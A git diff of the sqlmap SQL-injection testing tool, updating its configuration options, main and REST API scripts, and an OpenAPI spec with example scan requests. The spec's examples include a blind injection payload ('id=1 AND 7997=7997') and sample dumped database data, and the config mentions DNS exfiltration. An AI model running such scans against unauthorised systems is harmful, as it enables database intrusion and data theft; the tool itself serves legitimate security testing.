+61,14 @@ loadCookies = # Valid: True or False dropSetCookie = False +# Use HTTP version 1.0 (old). +# Valid: True or False +http10 = False + +# Use HTTP version 2 (experimental). +# Valid: True or False +http2 = False + # HTTP User-Agent header value. Useful to fake the HTTP User-Agent header value # at each HTTP request. # sqlmap will also test for SQL injection on the HTTP User-Agent value. @@ -190,6 +198,10 @@ safeFreq = 0 # Valid: True or False skipUrlEncode = False +# Skip safe (HTML) encoding of payload data for SOAP/XML. +# Valid: True or False +skipXmlEncode = False + # Parameter used to hold anti-CSRF token. csrfToken = @@ -397,6 +409,10 @@ technique = BEUSTQ # Default: 5 timeSec = 5 +# Disable the statistical model for detecting the delay. +# Valid: True or False +disableStats = False + # Range of columns to test for. # Valid: range of integers # Example: 1-10 @@ -412,6 +428,11 @@ uChar = # Example: INFORMATION_SCHEMA.COLLATIONS uFrom = +# Column values to use for UNION query SQL injection. +# Valid: string +# Example: NULL,1,*,NULL +uValues = + # Domain name used for DNS exfiltration attack. # Valid: string dnsDomain = @@ -815,12 +836,18 @@ skipWaf = False # Default: sqlmap tablePrefix = sqlmap -# Select tests by payloads and/or titles (e.g. ROW) +# Select tests by payloads and/or titles (e.g. ROW). testFilter = -# Skip tests by payloads and/or titles (e.g. BENCHMARK) +# Skip tests by payloads and/or titles (e.g. BENCHMARK). testSkip = +# Run with a time limit in seconds (e.g. 3600). +timeLimit = + +# Disable escaping of DBMS identifiers (e.g. "user"). +unsafeNaming = False + # Web server document root directory (e.g. "/var/www"). webRoot = @@ -846,6 +873,10 @@ dependencies = False # Valid: True or False disableColoring = False +# Disable hash analysis on table dumps. +# Valid: True or False +disableHashing = False + # Display list of available tamper scripts. # Valid: True or False listTampers = False @@ -854,6 +885,10 @@ listTampers = False # Valid: True or False noLogging = False +# Disable console output truncation. +# Valid: True or False +noTruncate = False + # Work in offline mode (only use session data) # Valid: True or False offline = False diff --git a/sqlmap.py b/sqlmap.py index 44252f38aba..7a4df6b91bd 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -32,14 +32,18 @@ import traceback import warnings + try: + ResourceWarning + except NameError: + ResourceWarning = Warning + if "--deprecations" not in sys.argv: warnings.filterwarnings(action="ignore", category=DeprecationWarning) else: warnings.resetwarnings() warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) warnings.simplefilter("ignore", category=ImportWarning) - if sys.version_info >= (3, 0): - warnings.simplefilter("ignore", category=ResourceWarning) + warnings.simplefilter("ignore", category=ResourceWarning) warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) @@ -50,8 +54,8 @@ from lib.core.data import logger from lib.core.common import banner - from lib.core.common import checkIntegrity from lib.core.common import checkPipedInput + from lib.core.common import codeIsModified from lib.core.common import createGithubIssue from lib.core.common import dataToStdout from lib.core.common import extractRegexResult @@ -176,6 +180,10 @@ def main(): init() + if conf.get("reportJson"): + from lib.utils.api import setupReportCollector + conf.reportCollector = setupReportCollector() + if not conf.updateAll: # Postponed imports (faster start) if conf.smokeTest: @@ -184,6 +192,15 @@ def main(): elif conf.vulnTest: from lib.core.testing import vulnTest os._exitcode = 1 - (vulnTest() or 0) + elif conf.fpTest: + from lib.core.testing import fpTest + os._exitcode = 1 - (fpTest() or 0) + elif conf.payloadLint: + from lib.core.testing import payloadLintTest + os._exitcode = 1 - (payloadLintTest() or 0) + elif conf.apiTest: + from lib.core.testing import apiTest + os._exitcode = 1 - (apiTest() or 0) else: from lib.controller.controller import start if conf.profile: @@ -203,7 +220,7 @@ def main(): target = targets[i] if not re.search(r"(?i)\Ahttp[s]*://", target): - target = "http://%s" % target + target = "https://%s" % target infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) logger.info(infoMsg) @@ -268,7 +285,7 @@ def main(): print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkIntegrity() + valid = not codeIsModified() os._exitcode = 255 @@ -347,6 +364,12 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("httpcore", "typing.", "AttributeError")): + errMsg = "please update the 'httpcore' package (>= 1.0.8) " + errMsg += "(Reference: 'https://github.com/encode/httpcore/discussions/995')" + logger.critical(errMsg) + raise SystemExit + elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: errMsg = "please upgrade the Python version (>= 3.5) " errMsg += "(Reference: 'https://bugs.python.org/issue18183')" @@ -378,9 +401,9 @@ def main(): logger.critical(errMsg) raise SystemExit - elif "AttributeError: unable to access item" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + elif any(_ in excMsg for _ in ("AttributeError:", "TypeError:")) and re.search(r"3\.11\.\d+a", sys.version): errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " - errMsg += "Please downgrade to some stable Python version" + errMsg += "Please download a stable Python version" logger.critical(errMsg) raise SystemExit @@ -409,11 +432,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): - errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" - logger.critical(errMsg) - raise SystemExit - elif all(_ in excMsg for _ in ("drda", "to_bytes")): errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" logger.critical(errMsg) @@ -436,14 +454,19 @@ def main(): logger.critical(errMsg) raise SystemExit + elif any(_ in errMsg for _ in (": 9.9.9#",)): + errMsg = "LOL xD" + logger.critical(errMsg) + raise SystemExit + elif kb.get("dumpKeyboardInterrupt"): raise SystemExit - elif any(_ in excMsg for _ in ("Broken pipe",)): + elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): raise SystemExit elif valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " + errMsg = "code checksum failed (turning off automatic issue creation). " errMsg += "You should retrieve the latest development version from official GitHub " errMsg += "repository at '%s'" % GIT_PAGE logger.critical(errMsg) @@ -457,7 +480,7 @@ def main(): dataToStdout(excMsg) raise SystemExit - elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() logger.critical(errMsg) raise SystemExit @@ -467,6 +490,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): errMsg = "there is a permission problem in running multiprocessing on this system. " errMsg += "Please rerun with '--disable-multi'" @@ -485,12 +513,6 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): - errMsg = "package 'python-ntlm' has a known compatibility issue with the " - errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" - logger.critical(errMsg) - raise SystemExit - elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " @@ -503,6 +525,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "'cryptography' package is required" in excMsg: + errMsg = "third-party library 'cryptography' is required" + logger.critical(errMsg) + raise SystemExit + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" @@ -533,7 +560,7 @@ def main(): errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - if conf.get("api") or not valid: + if conf.get("api") or not valid or kb.get("lastCtrlCTime"): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) @@ -543,36 +570,51 @@ def main(): finally: kb.threadContinue = False - if getDaysFromLastUpdate() > LAST_UPDATE_NAGGING_DAYS: + if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS: warnMsg = "your sqlmap version is outdated" logger.warning(warnMsg) + # emit the JSON report BEFORE the closing banner, so it does not appear awkwardly after + # "[*] ending @ ..." + if conf.get("reportCollector") is not None: + try: + from lib.utils.api import writeReportJson + writeReportJson(conf.reportCollector, conf.reportJson) + logger.info("JSON report written to '%s'" % conf.reportJson) + except Exception as ex: + logger.error("unable to write JSON report to '%s' ('%s')" % (conf.reportJson, getSafeExString(ex))) + finally: + try: + conf.reportCollector.disconnect() + except Exception as ex: + logger.debug("problem occurred while closing the report collector ('%s')" % getSafeExString(ex)) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) kb.threadException = True - if kb.get("tempDir"): + for tempDir in conf.get("tempDirs", []): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): - for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)): + for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass - if not filterNone(filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + if any((conf.vulnTest, conf.fpTest, conf.smokeTest, conf.payloadLint, conf.apiTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files try: - shutil.rmtree(kb.tempDir, ignore_errors=True) + shutil.rmtree(tempDir, ignore_errors=True) except OSError: pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() conf.hashDB.close() # NOTE: because of PyPy if conf.get("harFile"): try: - with openFile(conf.harFile, "w+b") as f: + with openFile(conf.harFile, "w+") as f: json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) except SqlmapBaseException as ex: errMsg = getSafeExString(ex) @@ -586,7 +628,7 @@ def main(): # short delay for thread finalization _ = time.time() - while threading.active_count() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT: + while threading.active_count() > 1 and (time.time() - _) < THREAD_FINALIZATION_TIMEOUT: time.sleep(0.01) if cmdLineOptions.get("sqlmapShell"): @@ -614,3 +656,9 @@ def main(): else: # cancelling postponed imports (because of CI/CD checks) __import__("lib.controller.controller") + + # exposing the programmatic library facade as 'sqlmap.scan()' / 'sqlmap.scanFromRequest()' + from lib.utils.library import scan, scanFromRequest, SqlmapError + +# public library API (also marks the re-exported names above as intentional for pyflakes) +__all__ = ["scan", "scanFromRequest", "SqlmapError"] diff --git a/sqlmapapi.py b/sqlmapapi.py index 2bcb2a2bb7c..4714887f409 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,13 +12,55 @@ __import__("lib.utils.versioncheck") # this has to be the first non-standard import import logging -import optparse import os import warnings warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) +try: + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + from lib.core.common import getUnicode from lib.core.common import setPaths from lib.core.data import logger @@ -39,7 +81,7 @@ def modulePath(): def main(): """ - REST-JSON API main function + REST API main function """ dirtyPatches() @@ -52,19 +94,23 @@ def main(): setPaths(modulePath()) # Parse command line options - apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", action="store_true") - apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", action="store_true") - apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") - apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") - apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") - apiparser.add_option("--username", help="Basic authentication username (optional)", action="store") - apiparser.add_option("--password", help="Basic authentication password (optional)", action="store") - (args, _) = apiparser.parse_args() + apiparser = ArgumentParser() + apiparser.add_argument("-s", "--server", help="Run as a REST API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the REST API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) + apiparser.add_argument("--database", help="Set IPC database filepath (optional)") + apiparser.add_argument("--username", help="Basic authentication username") + apiparser.add_argument("--password", help="Basic authentication password") + (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() + + if (args.server or args.client) and not all((args.username, args.password)): + apiparser.error("--username and --password are mandatory for REST API server/client usage") # Start the client or the server if args.server: - server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml index 999cdddff6b..59214a7ac64 100644 --- a/sqlmapapi.yaml +++ b/sqlmapapi.yaml @@ -1,243 +1,956 @@ -openapi: 3.0.1 +openapi: 3.0.3 info: - title: sqlmapapi OpenAPI/Swagger specification - version: '0.1' + title: sqlmap REST API + version: "2.0.0" + description: | + OpenAPI/Swagger specification for sqlmapapi.py, the sqlmap REST API server. + + This specification describes the API surface implemented by `lib/utils/api.py`. + The API is expected to be protected with HTTP Basic authentication when started + with `--username` and `--password`; hardened builds should require credentials + for server/client usage. + + Notes for implementers: + * Most sqlmap options are represented as dynamic JSON object properties. + * API-level failures are commonly returned as HTTP 200 with `success: false` + and a `message` field, matching the current server behavior. + * The API starts scans by spawning sqlmap in a separate process and storing + logs/data in the configured IPC database. + license: + name: GPL-2.0-only or commercial + url: https://github.com/sqlmapproject/sqlmap/blob/master/LICENSE + contact: + name: sqlmap project + url: https://sqlmap.org +externalDocs: + description: sqlmap project repository + url: https://github.com/sqlmapproject/sqlmap +servers: + - url: http://127.0.0.1:8775 + description: Default local sqlmapapi.py server +security: + - basicAuth: [] +tags: + - name: Version + description: Server/version metadata + - name: Tasks + description: Task lifecycle management + - name: Options + description: Task option inspection and mutation + - name: Scans + description: Scan process lifecycle, status, logs, and results + - name: Admin + description: Task pool administration + - name: Files + description: Retrieval of output files paths: /version: get: - description: Fetch server version + tags: [Version] + operationId: getVersion + summary: Fetch server and API version + description: >- + Returns the sqlmap version string and the API contract version (api_version), which follows + semantic versioning independently of the sqlmap version so clients can check compatibility. responses: - '200': - description: OK + "200": + description: Server and API version returned. content: application/json: schema: - type: object - properties: - version: - type: string - example: "1.5.7.7#dev" - success: - type: boolean - example: true + $ref: "#/components/schemas/VersionResponse" + examples: + success: + value: + success: true + version: "1.10.6.51#dev" + api_version: 2 + "401": + $ref: "#/components/responses/Unauthorized" + /task/new: get: - description: Create a new task + tags: [Tasks] + operationId: createTask + summary: Create a new task + description: Creates an empty task and returns a 16-character hexadecimal task ID. responses: - '200': - description: OK + "200": + description: Task created. content: application/json: schema: - type: object - properties: - taskid: - type: string - example: "fad44d6beef72285" - success: - type: boolean - example: true - /scan/{taskid}/start: + $ref: "#/components/schemas/TaskNewResponse" + examples: + success: + value: + success: true + taskid: "fad44d6beef72285" + "401": + $ref: "#/components/responses/Unauthorized" + + /task/{taskid}/delete: + get: + tags: [Tasks] + operationId: deleteTask + summary: Delete an existing task + description: Kills the task process, if still running, and removes the task from the in-memory task pool. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Task deleted. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + "404": + description: Non-existing task ID. + content: + application/json: + schema: + $ref: "#/components/schemas/ErrorResponse" + examples: + notFound: + value: + success: false + message: Non-existing task ID + + /admin/list: + get: + tags: [Admin] + operationId: listTasksForRemoteAddress + summary: List visible tasks + description: | + Lists task statuses visible to the caller. Without the admin token path variant, + the server returns tasks associated with the same remote address. + responses: + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/list: + get: + tags: [Admin] + operationId: listTasksWithAdminToken + summary: List all tasks with admin token + description: Lists all task statuses when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" + responses: + "200": + $ref: "#/components/responses/AdminList" + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/flush: + get: + tags: [Admin] + operationId: flushTasksForRemoteAddress + summary: Flush visible tasks + description: | + Kills and removes tasks visible to the caller. Without the admin token path variant, + the server flushes tasks associated with the same remote address. + responses: + "200": + description: Matching tasks flushed. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + + /admin/{token}/flush: + get: + tags: [Admin] + operationId: flushTasksWithAdminToken + summary: Flush all tasks with admin token + description: Kills and removes all tasks when the path token matches the server-generated admin token. + parameters: + - $ref: "#/components/parameters/AdminToken" + responses: + "200": + description: Matching tasks flushed. + content: + application/json: + schema: + $ref: "#/components/schemas/SimpleSuccessResponse" + examples: + success: + value: + success: true + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/list: + get: + tags: [Options] + operationId: listOptions + summary: List task options + description: Returns the current option object for a task. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + description: Options returned, or an API-level failure envelope for an invalid task ID. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/OptionListResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + batch: true + threads: 1 + invalidTask: + value: + success: false + message: Invalid task ID + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/get: post: - description: Launch a scan + tags: [Options] + operationId: getOptions + summary: Get selected task options + description: Returns values for the requested option names. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" requestBody: + required: false content: application/json: schema: - type: object - properties: - url: - type: string + $ref: "#/components/schemas/OptionGetRequest" examples: - '0': - value: '{"url":"http://testphp.vulnweb.com/artists.php?artist=1"}' + selectedOptions: + value: ["url", "cookie"] responses: - '200': - description: OK + "200": + description: Selected options returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - engineid: - type: integer - example: 19720 - success: - type: boolean - example: true - /scan/{taskid}/stop: - get: - description: Stop a scan + oneOf: + - $ref: "#/components/schemas/OptionGetResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + options: + url: "https://sekumart.sekuripy.hr/product.php?id=1" + cookie: "id=1" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + + /option/{taskid}/set: + post: + tags: [Options] + operationId: setOptions + summary: Set task options + description: | + Sets one or more options on a task. Values are persisted in the task option + object and are used when the scan is started. + + Unsupported, read-only, and unknown options are rejected with `success: false`. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/SqlmapOptions" + examples: + setCookie: + value: + cookie: "id=1" + setTarget: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: - '200': - description: OK + "200": + description: Options set, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true - /scan/{taskid}/status: - get: - description: Fetch status of a scan + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidJson: + value: + success: false + message: Invalid JSON options + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/start: + post: + tags: [Scans] + operationId: startScan + summary: Launch a scan + description: | + Applies the provided options to the task and starts sqlmap in a separate process. + The response contains the spawned engine process ID. + + Unsupported, read-only, and unknown options are rejected with `success: false`. + Starting a scan for an already running task returns `success: false`. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" + requestBody: + required: true + content: + application/json: + schema: + $ref: "#/components/schemas/SqlmapOptions" + examples: + basicUrlScan: + value: + url: "https://sekumart.sekuripy.hr/product.php?id=1" responses: - '200': - description: OK + "200": + description: Scan started, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - status: - type: string - example: terminated - returncode: - type: integer - example: 0 - success: - type: boolean - example: true - /scan/{taskid}/list: + oneOf: + - $ref: "#/components/schemas/ScanStartResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + engineid: 19720 + unsupportedOption: + value: + success: false + message: "Unsupported option 'evalCode'" + unknownOption: + value: + success: false + message: "Unknown option 'doesNotExist'" + scanAlreadyRunning: + value: + success: false + message: Scan already running + invalidJson: + value: + success: false + message: Invalid JSON options + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/stop: get: - description: List options for a given task ID + tags: [Scans] + operationId: stopScan + summary: Stop a scan + description: Terminates the running scan process for the task and waits for process exit. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/kill: + get: + tags: [Scans] + operationId: killScan + summary: Kill a scan + description: Force-kills the running scan process for the task and waits for process exit. + parameters: + - $ref: "#/components/parameters/TaskId" + responses: + "200": + $ref: "#/components/responses/ScanControl" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/status: + get: + tags: [Scans] + operationId: getScanStatus + summary: Fetch scan status + description: Returns the process status and return code for the task. + parameters: + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK + "200": + description: Scan status returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true - options: - type: array - items: - type: object + oneOf: + - $ref: "#/components/schemas/ScanStatusResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + running: + value: + success: true + status: running + returncode: null + terminated: + value: + success: true + status: terminated + returncode: 0 + notRunning: + value: + success: true + status: not running + returncode: null + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/data: get: - description: Retrieve the scan resulting data + tags: [Scans] + operationId: getScanData + summary: Retrieve scan data + description: Returns structured scan output and recorded error messages for the task. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK + "200": + description: Scan data returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - data: - type: array - items: - type: object - success: - type: boolean - example: true - error: - type: array - items: - type: object + oneOf: + - $ref: "#/components/schemas/ScanDataResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + data: + - status: 1 + type: 2 + type_name: DBMS_FINGERPRINT + value: "back-end DBMS: MySQL >= 5.1" + - status: 1 + type: 4 + type_name: CURRENT_USER + value: "root@%" + - status: 1 + type: 12 + type_name: DBS + value: ["information_schema", "mysql", "testdb"] + - status: 1 + type: 1 + type_name: TECHNIQUES + value: + - place: GET + parameter: id + dbms: MySQL + dbms_version: [">= 5.1"] + os: null + notes: [] + data: + - technique: "boolean-based blind" + title: "AND boolean-based blind - WHERE or HAVING clause" + payload: "id=1 AND 7997=7997" + vector: "AND [INFERENCE]" + comment: "" + - status: 1 + type: 17 + type_name: DUMP_TABLE + value: + db: testdb + table: users + count: 2 + columns: + id: ["1", "2"] + name: ["admin", null] + error: [] + "401": + $ref: "#/components/responses/Unauthorized" + /scan/{taskid}/log: get: - description: Retrieve the log messages + tags: [Scans] + operationId: getScanLog + summary: Retrieve all scan log messages + description: Returns all recorded log messages for the task. parameters: - - in: path - name: taskid - required: true - schema: - type: string - description: Scan task ID + - $ref: "#/components/parameters/TaskId" responses: - '200': - description: OK - content: - application/json: - schema: - type: object - properties: - log: - type: array - items: - type: object - success: - type: boolean - example: true - /scan/{taskid}/kill: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /scan/{taskid}/log/{start}/{end}: get: - description: Kill a scan + tags: [Scans] + operationId: getScanLogRange + summary: Retrieve a bounded scan log range + description: Returns log messages with database IDs from `start` through `end`, inclusive. parameters: - - in: path - name: taskid + - $ref: "#/components/parameters/TaskId" + - name: start + in: path required: true + description: Inclusive starting log row ID. Must be a positive integer. schema: - type: string - description: Scan task ID + type: integer + minimum: 1 + example: 1 + - name: end + in: path + required: true + description: Inclusive ending log row ID. Must be greater than or equal to `start`. + schema: + type: integer + minimum: 1 + example: 100 responses: - '200': - description: OK - content: - application/json: - schema: - type: object - properties: - success: - type: boolean - example: true - /task/{taskid}/delete: + "200": + $ref: "#/components/responses/ScanLog" + "401": + $ref: "#/components/responses/Unauthorized" + + /download/{taskid}/{target}/{filename}: get: - description: Delete an existing task + tags: [Files] + operationId: downloadOutputFile + summary: Download an output file + description: | + Retrieves a file from sqlmap's output directory for the given task/target and + returns it as Base64 in JSON. + + Implementation note: `filename` is a Bottle `:path` parameter and may contain + slash characters in the running server. Some OpenAPI tooling requires those + slashes to be URL-encoded or handled with a custom client. + x-bottle-path-parameter: filename parameters: - - in: path - name: taskid + - $ref: "#/components/parameters/TaskId" + - name: target + in: path required: true + description: Target output-directory name. schema: type: string - description: Scan task ID + example: sekumart.sekuripy.hr + - name: filename + in: path + required: true + description: Output file path relative to the target directory. + allowReserved: true + schema: + type: string + example: log responses: - '200': - description: OK + "200": + description: File returned, or an API-level failure envelope. content: application/json: schema: - type: object - properties: - success: - type: boolean - example: true + oneOf: + - $ref: "#/components/schemas/DownloadResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + file: "SGVsbG8K" + forbidden: + value: + success: false + message: Forbidden path + missing: + value: + success: false + message: File does not exist + "401": + $ref: "#/components/responses/Unauthorized" + +components: + securitySchemes: + basicAuth: + type: http + scheme: basic + description: | + HTTP Basic authentication using the `--username` and `--password` values + supplied to sqlmapapi.py. Hardened builds should require both values. + + parameters: + TaskId: + name: taskid + in: path + required: true + description: 16-character hexadecimal scan task ID. + schema: + type: string + pattern: "^[0-9a-fA-F]{16}$" + example: fad44d6beef72285 + AdminToken: + name: token + in: path + required: true + description: Server-generated admin token printed when sqlmapapi.py starts. + schema: + type: string + pattern: "^[0-9a-fA-F]{32}$" + example: "0123456789abcdef0123456789abcdef" + + responses: + Unauthorized: + description: Missing or invalid HTTP Basic credentials. The response body is empty. + AdminList: + description: Task pool listing returned. + content: + application/json: + schema: + $ref: "#/components/schemas/AdminListResponse" + examples: + success: + value: + success: true + tasks: + fad44d6beef72285: running + c04d8c5c7582efb4: terminated + tasks_num: 2 + ScanControl: + description: Scan control action completed, or an API-level failure envelope. + content: + application/json: + schema: + oneOf: + - $ref: "#/components/schemas/SimpleSuccessResponse" + - $ref: "#/components/schemas/ErrorResponse" + examples: + success: + value: + success: true + invalidTask: + value: + success: false + message: Invalid task ID + ScanLog: + description: Scan log returned, or an API-level failure envelope. + content: + application/json: + schema: + 